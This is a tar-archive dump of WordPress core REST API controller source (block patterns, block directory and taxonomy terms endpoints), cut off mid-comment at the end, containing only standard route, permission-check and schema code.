property. * * @param array $item Raw pattern as registered, before any changes. * @param WP_REST_Request $request Request object. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function prepare_item_for_response( $item, $request ) { // Resolve pattern blocks so they don't need to be resolved client-side // in the editor, improving performance. $blocks = parse_blocks( $item['content'] ); $blocks = resolve_pattern_blocks( $blocks ); $item['content'] = serialize_blocks( $blocks ); $fields = $this->get_fields_for_response( $request ); $keys = array( 'name' => 'name', 'title' => 'title', 'content' => 'content', 'description' => 'description', 'viewportWidth' => 'viewport_width', 'inserter' => 'inserter', 'categories' => 'categories', 'keywords' => 'keywords', 'blockTypes' => 'block_types', 'postTypes' => 'post_types', 'templateTypes' => 'template_types', 'source' => 'source', ); $data = array(); foreach ( $keys as $item_key => $rest_key ) { if ( isset( $item[ $item_key ] ) && rest_is_field_included( $rest_key, $fields ) ) { $data[ $rest_key ] = $item[ $item_key ]; } } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); return rest_ensure_response( $data ); } /** * Retrieves the block pattern schema, conforming to JSON Schema. * * @since 6.0.0 * @since 6.3.0 Added `source` property. * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'block-pattern', 'type' => 'object', 'properties' => array( 'name' => array( 'description' => __( 'The pattern name.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'title' => array( 'description' => __( 'The pattern title, in human readable format.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'content' => array( 'description' => __( 'The pattern content.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'description' => array( 'description' => __( 'The pattern detailed description.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'viewport_width' => array( 'description' => __( 'The pattern viewport width for inserter preview.' ), 'type' => 'number', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'inserter' => array( 'description' => __( 'Determines whether the pattern is visible in inserter.' ), 'type' => 'boolean', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'categories' => array( 'description' => __( 'The pattern category slugs.' ), 'type' => 'array', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'keywords' => array( 'description' => __( 'The pattern keywords.' ), 'type' => 'array', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'block_types' => array( 'description' => __( 'Block types that the pattern is intended to be used with.' ), 'type' => 'array', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'post_types' => array( 'description' => __( 'An array of post types that the pattern is restricted to be used with.' ), 'type' => 'array', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'template_types' => array( 'description' => __( 'An array of template types where the pattern fits.' ), 'type' => 'array', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'source' => array( 'description' => __( 'Where the pattern comes from e.g. core' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), 'enum' => array( 'core', 'plugin', 'theme', 'pattern-directory/core', 'pattern-directory/theme', 'pattern-directory/featured', ), ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-rest-block-directory-controller.php��������������������������������������������������������0000644�����������������00000023265�15250636727�0015261 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * REST API: WP_REST_Block_Directory_Controller class * * @package WordPress * @subpackage REST_API * @since 5.5.0 */ /** * Controller which provides REST endpoint for the blocks. * * @since 5.5.0 * * @see WP_REST_Controller */ class WP_REST_Block_Directory_Controller extends WP_REST_Controller { /** * Constructs the controller. */ public function __construct() { $this->namespace = 'wp/v2'; $this->rest_base = 'block-directory'; } /** * Registers the necessary REST API routes. */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base . '/search', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks whether a given request has permission to install and activate plugins. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has permission, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { if ( ! current_user_can( 'install_plugins' ) || ! current_user_can( 'activate_plugins' ) ) { return new WP_Error( 'rest_block_directory_cannot_view', __( 'Sorry, you are not allowed to browse the block directory.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Search and retrieve blocks metadata * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; require_once ABSPATH . 'wp-admin/includes/plugin.php'; $response = plugins_api( 'query_plugins', array( 'block' => $request['term'], 'per_page' => $request['per_page'], 'page' => $request['page'], ) ); if ( is_wp_error( $response ) ) { $response->add_data( array( 'status' => 500 ) ); return $response; } $result = array(); foreach ( $response->plugins as $plugin ) { // If the API returned a plugin with empty data for 'blocks', skip it. if ( empty( $plugin['blocks'] ) ) { continue; } $data = $this->prepare_item_for_response( $plugin, $request ); $result[] = $this->prepare_response_for_collection( $data ); } return rest_ensure_response( $result ); } /** * Parse block metadata for a block, and prepare it for an API response. * * @since 5.5.0 * @since 5.9.0 Renamed `$plugin` to `$item` to match parent class for PHP 8 named parameter support. * * @param array $item The plugin metadata. * @param WP_REST_Request $request Request object. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $plugin = $item; $fields = $this->get_fields_for_response( $request ); // There might be multiple blocks in a plugin. Only the first block is mapped. $block_data = reset( $plugin['blocks'] ); // A data array containing the properties we'll return. $block = array( 'name' => $block_data['name'], 'title' => ( $block_data['title'] ? $block_data['title'] : $plugin['name'] ), 'description' => wp_trim_words( $plugin['short_description'], 30, '...' ), 'id' => $plugin['slug'], 'rating' => $plugin['rating'] / 20, 'rating_count' => (int) $plugin['num_ratings'], 'active_installs' => (int) $plugin['active_installs'], 'author_block_rating' => $plugin['author_block_rating'] / 20, 'author_block_count' => (int) $plugin['author_block_count'], 'author' => wp_strip_all_tags( $plugin['author'] ), 'icon' => $plugin['icons']['1x'] ?? 'block-default', 'last_updated' => gmdate( 'Y-m-d\TH:i:s', strtotime( $plugin['last_updated'] ) ), 'humanized_updated' => sprintf( /* translators: %s: Human-readable time difference. */ __( '%s ago' ), human_time_diff( strtotime( $plugin['last_updated'] ) ) ), ); $this->add_additional_fields_to_object( $block, $request ); $response = new WP_REST_Response( $block ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $response->add_links( $this->prepare_links( $plugin ) ); } return $response; } /** * Generates a list of links to include in the response for the plugin. * * @since 5.5.0 * * @param array $plugin The plugin data from WordPress.org. * @return array */ protected function prepare_links( $plugin ) { $links = array( 'https://api.w.org/install-plugin' => array( 'href' => add_query_arg( 'slug', urlencode( $plugin['slug'] ), rest_url( 'wp/v2/plugins' ) ), ), ); $plugin_file = $this->find_plugin_for_slug( $plugin['slug'] ); if ( $plugin_file ) { $links['https://api.w.org/plugin'] = array( 'href' => rest_url( 'wp/v2/plugins/' . substr( $plugin_file, 0, - 4 ) ), 'embeddable' => true, ); } return $links; } /** * Finds an installed plugin for the given slug. * * @since 5.5.0 * * @param string $slug The WordPress.org directory slug for a plugin. * @return string The plugin file found matching it. */ protected function find_plugin_for_slug( $slug ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; $plugin_files = get_plugins( '/' . $slug ); if ( ! $plugin_files ) { return ''; } $plugin_files = array_keys( $plugin_files ); return $slug . '/' . reset( $plugin_files ); } /** * Retrieves the theme's schema, conforming to JSON Schema. * * @since 5.5.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $this->schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'block-directory-item', 'type' => 'object', 'properties' => array( 'name' => array( 'description' => __( 'The block name, in namespace/block-name format.' ), 'type' => 'string', 'context' => array( 'view' ), ), 'title' => array( 'description' => __( 'The block title, in human readable format.' ), 'type' => 'string', 'context' => array( 'view' ), ), 'description' => array( 'description' => __( 'A short description of the block, in human readable format.' ), 'type' => 'string', 'context' => array( 'view' ), ), 'id' => array( 'description' => __( 'The block slug.' ), 'type' => 'string', 'context' => array( 'view' ), ), 'rating' => array( 'description' => __( 'The star rating of the block.' ), 'type' => 'number', 'context' => array( 'view' ), ), 'rating_count' => array( 'description' => __( 'The number of ratings.' ), 'type' => 'integer', 'context' => array( 'view' ), ), 'active_installs' => array( 'description' => __( 'The number sites that have activated this block.' ), 'type' => 'integer', 'context' => array( 'view' ), ), 'author_block_rating' => array( 'description' => __( 'The average rating of blocks published by the same author.' ), 'type' => 'number', 'context' => array( 'view' ), ), 'author_block_count' => array( 'description' => __( 'The number of blocks published by the same author.' ), 'type' => 'integer', 'context' => array( 'view' ), ), 'author' => array( 'description' => __( 'The WordPress.org username of the block author.' ), 'type' => 'string', 'context' => array( 'view' ), ), 'icon' => array( 'description' => __( 'The block icon.' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'view' ), ), 'last_updated' => array( 'description' => __( 'The date when the block was last updated.' ), 'type' => 'string', 'format' => 'date-time', 'context' => array( 'view' ), ), 'humanized_updated' => array( 'description' => __( 'The date when the block was last updated, in human readable format.' ), 'type' => 'string', 'context' => array( 'view' ), ), ), ); return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the search params for the blocks collection. * * @since 5.5.0 * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $query_params['context']['default'] = 'view'; $query_params['term'] = array( 'description' => __( 'Limit result set to blocks matching the search term.' ), 'type' => 'string', 'required' => true, 'minLength' => 1, ); unset( $query_params['search'] ); /** * Filters REST API collection parameters for the block directory controller. * * @since 5.5.0 * * @param array $query_params JSON Schema-formatted collection parameters. */ return apply_filters( 'rest_block_directory_collection_params', $query_params ); } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-rest-terms-controller.php������������������������������������������������������������������0000644�����������������00000105165�15250636727�0013317 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * REST API: WP_REST_Terms_Controller class * * @package WordPress * @subpackage REST_API * @since 4.7.0 */ /** * Core class used to managed terms associated with a taxonomy via the REST API. * * @since 4.7.0 * * @see WP_REST_Controller */ class WP_REST_Terms_Controller extends WP_REST_Controller { /** * Taxonomy key. * * @since 4.7.0 * @var string */ protected $taxonomy; /** * Instance of a term meta fields object. * * @since 4.7.0 * @var WP_REST_Term_Meta_Fields */ protected $meta; /** * Column to have the terms be sorted by. * * @since 4.7.0 * @var string */ protected $sort_column; /** * Number of terms that were found. * * @since 4.7.0 * @var int */ protected $total_terms; /** * Whether the controller supports batching. * * @since 5.9.0 * @var array */ protected $allow_batch = array( 'v1' => true ); /** * Constructor. * * @since 4.7.0 * * @param string $taxonomy Taxonomy key. */ public function __construct( $taxonomy ) { $this->taxonomy = $taxonomy; $tax_obj = get_taxonomy( $taxonomy ); $this->rest_base = ! empty( $tax_obj->rest_base ) ? $tax_obj->rest_base : $tax_obj->name; $this->namespace = ! empty( $tax_obj->rest_namespace ) ? $tax_obj->rest_namespace : 'wp/v2'; $this->meta = new WP_REST_Term_Meta_Fields( $taxonomy ); } /** * Registers the routes for terms. * * @since 4.7.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_item' ), 'permission_callback' => array( $this, 'create_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ), ), 'allow_batch' => $this->allow_batch, 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<id>[\d]+)', array( 'args' => array( 'id' => array( 'description' => __( 'Unique identifier for the term.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_item' ), 'permission_callback' => array( $this, 'update_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_item' ), 'permission_callback' => array( $this, 'delete_item_permissions_check' ), 'args' => array( 'force' => array( 'type' => 'boolean', 'default' => false, 'description' => __( 'Required to be true, as terms do not support trashing.' ), ), ), ), 'allow_batch' => $this->allow_batch, 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if the terms for a post can be read. * * @since 6.0.3 * * @param WP_Post $post Post object. * @param WP_REST_Request $request Full details about the request. * @return bool Whether the terms for the post can be read. */ public function check_read_terms_permission_for_post( $post, $request ) { // If the requested post isn't associated with this taxonomy, deny access. if ( ! is_object_in_taxonomy( $post->post_type, $this->taxonomy ) ) { return false; } // Grant access if the post is publicly viewable. if ( is_post_publicly_viewable( $post ) ) { return true; } // Otherwise grant access if the post is readable by the logged-in user. if ( current_user_can( 'read_post', $post->ID ) ) { return true; } // Otherwise, deny access. return false; } /** * Checks if a request has access to read terms in the specified taxonomy. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return bool|WP_Error True if the request has read access, otherwise false or WP_Error object. */ public function get_items_permissions_check( $request ) { $tax_obj = get_taxonomy( $this->taxonomy ); if ( ! $tax_obj || ! $this->check_is_taxonomy_allowed( $this->taxonomy ) ) { return false; } if ( 'edit' === $request['context'] && ! current_user_can( $tax_obj->cap->edit_terms ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit terms in this taxonomy.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! empty( $request['post'] ) ) { $post = get_post( $request['post'] ); if ( ! $post ) { return new WP_Error( 'rest_post_invalid_id', __( 'Invalid post ID.' ), array( 'status' => 400, ) ); } if ( ! $this->check_read_terms_permission_for_post( $post, $request ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to view terms for this post.' ), array( 'status' => rest_authorization_required_code(), ) ); } } return true; } /** * Retrieves terms associated with a taxonomy. * * @since 4.7.0 * @since 6.8.0 Respect default query arguments set for the taxonomy upon registration. * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { // Retrieve the list of registered collection query parameters. $registered = $this->get_collection_params(); /* * This array defines mappings between public API query parameters whose * values are accepted as-passed, and their internal WP_Query parameter * name equivalents (some are the same). Only values which are also * present in $registered will be set. */ $parameter_mappings = array( 'exclude' => 'exclude', 'include' => 'include', 'order' => 'order', 'orderby' => 'orderby', 'post' => 'post', 'hide_empty' => 'hide_empty', 'per_page' => 'number', 'search' => 'search', 'slug' => 'slug', ); $prepared_args = array( 'taxonomy' => $this->taxonomy ); /* * For each known parameter which is both registered and present in the request, * set the parameter's value on the query $prepared_args. */ foreach ( $parameter_mappings as $api_param => $wp_param ) { if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) { $prepared_args[ $wp_param ] = $request[ $api_param ]; } } if ( isset( $prepared_args['orderby'] ) && isset( $request['orderby'] ) ) { $orderby_mappings = array( 'include_slugs' => 'slug__in', ); if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) { $prepared_args['orderby'] = $orderby_mappings[ $request['orderby'] ]; } } if ( isset( $registered['offset'] ) && ! empty( $request['offset'] ) ) { $prepared_args['offset'] = $request['offset']; } else { $prepared_args['offset'] = ( $request['page'] - 1 ) * $prepared_args['number']; } $taxonomy_obj = get_taxonomy( $this->taxonomy ); if ( $taxonomy_obj->hierarchical && isset( $registered['parent'], $request['parent'] ) ) { if ( 0 === $request['parent'] ) { // Only query top-level terms. $prepared_args['parent'] = 0; } else { if ( $request['parent'] ) { $prepared_args['parent'] = $request['parent']; } } } /* * When a taxonomy is registered with an 'args' array, * those params override the `$args` passed to this function. * * We only need to do this if no `post` argument is provided. * Otherwise, terms will be fetched using `wp_get_object_terms()`, * which respects the default query arguments set for the taxonomy. */ if ( empty( $prepared_args['post'] ) && isset( $taxonomy_obj->args ) && is_array( $taxonomy_obj->args ) ) { $prepared_args = array_merge( $prepared_args, $taxonomy_obj->args ); } $is_head_request = $request->is_method( 'HEAD' ); if ( $is_head_request ) { // Force the 'fields' argument. For HEAD requests, only term IDs are required. $prepared_args['fields'] = 'ids'; // Disable priming term meta for HEAD requests to improve performance. $prepared_args['update_term_meta_cache'] = false; } /** * Filters get_terms() arguments when querying terms via the REST API. * * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `rest_category_query` * - `rest_post_tag_query` * * Enables adding extra arguments or setting defaults for a terms * collection request. * * @since 4.7.0 * * @link https://developer.wordpress.org/reference/functions/get_terms/ * * @param array $prepared_args Array of arguments for get_terms(). * @param WP_REST_Request $request The REST API request. */ $prepared_args = apply_filters( "rest_{$this->taxonomy}_query", $prepared_args, $request ); if ( ! empty( $prepared_args['post'] ) ) { $query_result = wp_get_object_terms( $prepared_args['post'], $this->taxonomy, $prepared_args ); // Used when calling wp_count_terms() below. $prepared_args['object_ids'] = $prepared_args['post']; } else { $query_result = get_terms( $prepared_args ); } $count_args = $prepared_args; unset( $count_args['number'], $count_args['offset'] ); $total_terms = wp_count_terms( $count_args ); // wp_count_terms() can return a falsey value when the term has no children. if ( ! $total_terms ) { $total_terms = 0; } if ( ! $is_head_request ) { $response = array(); foreach ( $query_result as $term ) { if ( 'edit' === $request['context'] && ! current_user_can( 'edit_term', $term->term_id ) ) { continue; } $data = $this->prepare_item_for_response( $term, $request ); $response[] = $this->prepare_response_for_collection( $data ); } } $response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $response ); // Store pagination values for headers. $per_page = (int) $prepared_args['number']; $page = (int) ceil( ( ( (int) $prepared_args['offset'] ) / $per_page ) + 1 ); $response->header( 'X-WP-Total', (int) $total_terms ); $max_pages = (int) ceil( $total_terms / $per_page ); $response->header( 'X-WP-TotalPages', $max_pages ); $request_params = $request->get_query_params(); $collection_url = rest_url( rest_get_route_for_taxonomy_items( $this->taxonomy ) ); $base = add_query_arg( urlencode_deep( $request_params ), $collection_url ); if ( $page > 1 ) { $prev_page = $page - 1; if ( $prev_page > $max_pages ) { $prev_page = $max_pages; } $prev_link = add_query_arg( 'page', $prev_page, $base ); $response->link_header( 'prev', $prev_link ); } if ( $max_pages > $page ) { $next_page = $page + 1; $next_link = add_query_arg( 'page', $next_page, $base ); $response->link_header( 'next', $next_link ); } return $response; } /** * Get the term, if the ID is valid. * * @since 4.7.2 * * @param int $id Supplied ID. * @return WP_Term|WP_Error Term object if ID is valid, WP_Error otherwise. */ protected function get_term( $id ) { $error = new WP_Error( 'rest_term_invalid', __( 'Term does not exist.' ), array( 'status' => 404 ) ); if ( ! $this->check_is_taxonomy_allowed( $this->taxonomy ) ) { return $error; } if ( (int) $id <= 0 ) { return $error; } $term = get_term( (int) $id, $this->taxonomy ); if ( empty( $term ) || $term->taxonomy !== $this->taxonomy ) { return $error; } return $term; } /** * Checks if a request has access to read or edit the specified term. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object. */ public function get_item_permissions_check( $request ) { $term = $this->get_term( $request['id'] ); if ( is_wp_error( $term ) ) { return $term; } if ( 'edit' === $request['context'] && ! current_user_can( 'edit_term', $term->term_id ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit this term.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Gets a single term from a taxonomy. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $term = $this->get_term( $request['id'] ); if ( is_wp_error( $term ) ) { return $term; } $response = $this->prepare_item_for_response( $term, $request ); return rest_ensure_response( $response ); } /** * Checks if a request has access to create a term. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return bool|WP_Error True if the request has access to create items, otherwise false or WP_Error object. */ public function create_item_permissions_check( $request ) { if ( ! $this->check_is_taxonomy_allowed( $this->taxonomy ) ) { return false; } $taxonomy_obj = get_taxonomy( $this->taxonomy ); if ( ( is_taxonomy_hierarchical( $this->taxonomy ) && ! current_user_can( $taxonomy_obj->cap->edit_terms ) ) || ( ! is_taxonomy_hierarchical( $this->taxonomy ) && ! current_user_can( $taxonomy_obj->cap->assign_terms ) ) ) { return new WP_Error( 'rest_cannot_create', __( 'Sorry, you are not allowed to create terms in this taxonomy.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Creates a single term in a taxonomy. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { if ( isset( $request['parent'] ) ) { if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) { return new WP_Error( 'rest_taxonomy_not_hierarchical', __( 'Cannot set parent term, taxonomy is not hierarchical.' ), array( 'status' => 400 ) ); } $parent = get_term( (int) $request['parent'], $this->taxonomy ); if ( ! $parent ) { return new WP_Error( 'rest_term_invalid', __( 'Parent term does not exist.' ), array( 'status' => 400 ) ); } } $prepared_term = $this->prepare_item_for_database( $request ); $term = wp_insert_term( wp_slash( $prepared_term->name ), $this->taxonomy, wp_slash( (array) $prepared_term ) ); if ( is_wp_error( $term ) ) { /* * If we're going to inform the client that the term already exists, * give them the identifier for future use. */ $term_id = $term->get_error_data( 'term_exists' ); if ( $term_id ) { $existing_term = get_term( $term_id, $this->taxonomy ); $term->add_data( $existing_term->term_id, 'term_exists' ); $term->add_data( array( 'status' => 400, 'term_id' => $term_id, ) ); } return $term; } $term = get_term( $term['term_id'], $this->taxonomy ); /** * Fires after a single term is created or updated via the REST API. * * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `rest_insert_category` * - `rest_insert_post_tag` * * @since 4.7.0 * * @param WP_Term $term Inserted or updated term object. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating a term, false when updating. */ do_action( "rest_insert_{$this->taxonomy}", $term, $request, true ); $schema = $this->get_item_schema(); if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $term->term_id ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $fields_update = $this->update_additional_fields_for_object( $term, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); /** * Fires after a single term is completely created or updated via the REST API. * * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `rest_after_insert_category` * - `rest_after_insert_post_tag` * * @since 5.0.0 * * @param WP_Term $term Inserted or updated term object. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating a term, false when updating. */ do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, true ); $response = $this->prepare_item_for_response( $term, $request ); $response = rest_ensure_response( $response ); $response->set_status( 201 ); $response->header( 'Location', rest_url( $this->namespace . '/' . $this->rest_base . '/' . $term->term_id ) ); return $response; } /** * Checks if a request has access to update the specified term. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to update the item, false or WP_Error object otherwise. */ public function update_item_permissions_check( $request ) { $term = $this->get_term( $request['id'] ); if ( is_wp_error( $term ) ) { return $term; } if ( ! current_user_can( 'edit_term', $term->term_id ) ) { return new WP_Error( 'rest_cannot_update', __( 'Sorry, you are not allowed to edit this term.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Updates a single term from a taxonomy. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { $term = $this->get_term( $request['id'] ); if ( is_wp_error( $term ) ) { return $term; } if ( isset( $request['parent'] ) ) { if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) { return new WP_Error( 'rest_taxonomy_not_hierarchical', __( 'Cannot set parent term, taxonomy is not hierarchical.' ), array( 'status' => 400 ) ); } $parent = get_term( (int) $request['parent'], $this->taxonomy ); if ( ! $parent ) { return new WP_Error( 'rest_term_invalid', __( 'Parent term does not exist.' ), array( 'status' => 400 ) ); } } $prepared_term = $this->prepare_item_for_database( $request ); // Only update the term if we have something to update. if ( ! empty( $prepared_term ) ) { $update = wp_update_term( $term->term_id, $term->taxonomy, wp_slash( (array) $prepared_term ) ); if ( is_wp_error( $update ) ) { return $update; } } $term = get_term( $term->term_id, $this->taxonomy ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */ do_action( "rest_insert_{$this->taxonomy}", $term, $request, false ); $schema = $this->get_item_schema(); if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $term->term_id ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $fields_update = $this->update_additional_fields_for_object( $term, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */ do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, false ); $response = $this->prepare_item_for_response( $term, $request ); return rest_ensure_response( $response ); } /** * Checks if a request has access to delete the specified term. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, otherwise false or WP_Error object. */ public function delete_item_permissions_check( $request ) { $term = $this->get_term( $request['id'] ); if ( is_wp_error( $term ) ) { return $term; } if ( ! current_user_can( 'delete_term', $term->term_id ) ) { return new WP_Error( 'rest_cannot_delete', __( 'Sorry, you are not allowed to delete this term.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Deletes a single term from a taxonomy. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { $term = $this->get_term( $request['id'] ); if ( is_wp_error( $term ) ) { return $term; } $force = isset( $request['force'] ) ? (bool) $request['force'] : false; // We don't support trashing for terms. if ( ! $force ) { return new WP_Error( 'rest_trash_not_supported', /* translators: %s: force=true */ sprintf( __( "Terms do not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) ); } $request->set_param( 'context', 'view' ); $previous = $this->prepare_item_for_response( $term, $request ); $retval = wp_delete_term( $term->term_id, $term->taxonomy ); if ( ! $retval ) { return new WP_Error( 'rest_cannot_delete', __( 'The term cannot be deleted.' ), array( 'status' => 500 ) ); } $response = new WP_REST_Response(); $response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data(), ) ); /** * Fires after a single term is deleted via the REST API. * * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `rest_delete_category` * - `rest_delete_post_tag` * * @since 4.7.0 * * @param WP_Term $term The deleted term. * @param WP_REST_Response $response The response data. * @param WP_REST_Request $request The request sent to the API. */ do_action( "rest_delete_{$this->taxonomy}", $term, $response, $request ); return $response; } /** * Prepares a single term for create or update. * * @since 4.7.0 * * @param WP_REST_Request $request Request object. * @return object Term object. */ public function prepare_item_for_database( $request ) { $prepared_term = new stdClass(); $schema = $this->get_item_schema(); if ( isset( $request['name'] ) && ! empty( $schema['properties']['name'] ) ) { $prepared_term->name = $request['name']; } if ( isset( $request['slug'] ) && ! empty( $schema['properties']['slug'] ) ) { $prepared_term->slug = $request['slug']; } if ( isset( $request['taxonomy'] ) && ! empty( $schema['properties']['taxonomy'] ) ) { $prepared_term->taxonomy = $request['taxonomy']; } if ( isset( $request['description'] ) && ! empty( $schema['properties']['description'] ) ) { $prepared_term->description = $request['description']; } if ( isset( $request['parent'] ) && ! empty( $schema['properties']['parent'] ) ) { $parent_term_id = 0; $requested_parent = (int) $request['parent']; if ( $requested_parent ) { $parent_term = get_term( $requested_parent, $this->taxonomy ); if ( $parent_term instanceof WP_Term ) { $parent_term_id = $parent_term->term_id; } } $prepared_term->parent = $parent_term_id; } /** * Filters term data before inserting term via the REST API. * * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `rest_pre_insert_category` * - `rest_pre_insert_post_tag` * * @since 4.7.0 * * @param object $prepared_term Term object. * @param WP_REST_Request $request Request object. */ return apply_filters( "rest_pre_insert_{$this->taxonomy}", $prepared_term, $request ); } /** * Prepares a single term output for response. * * @since 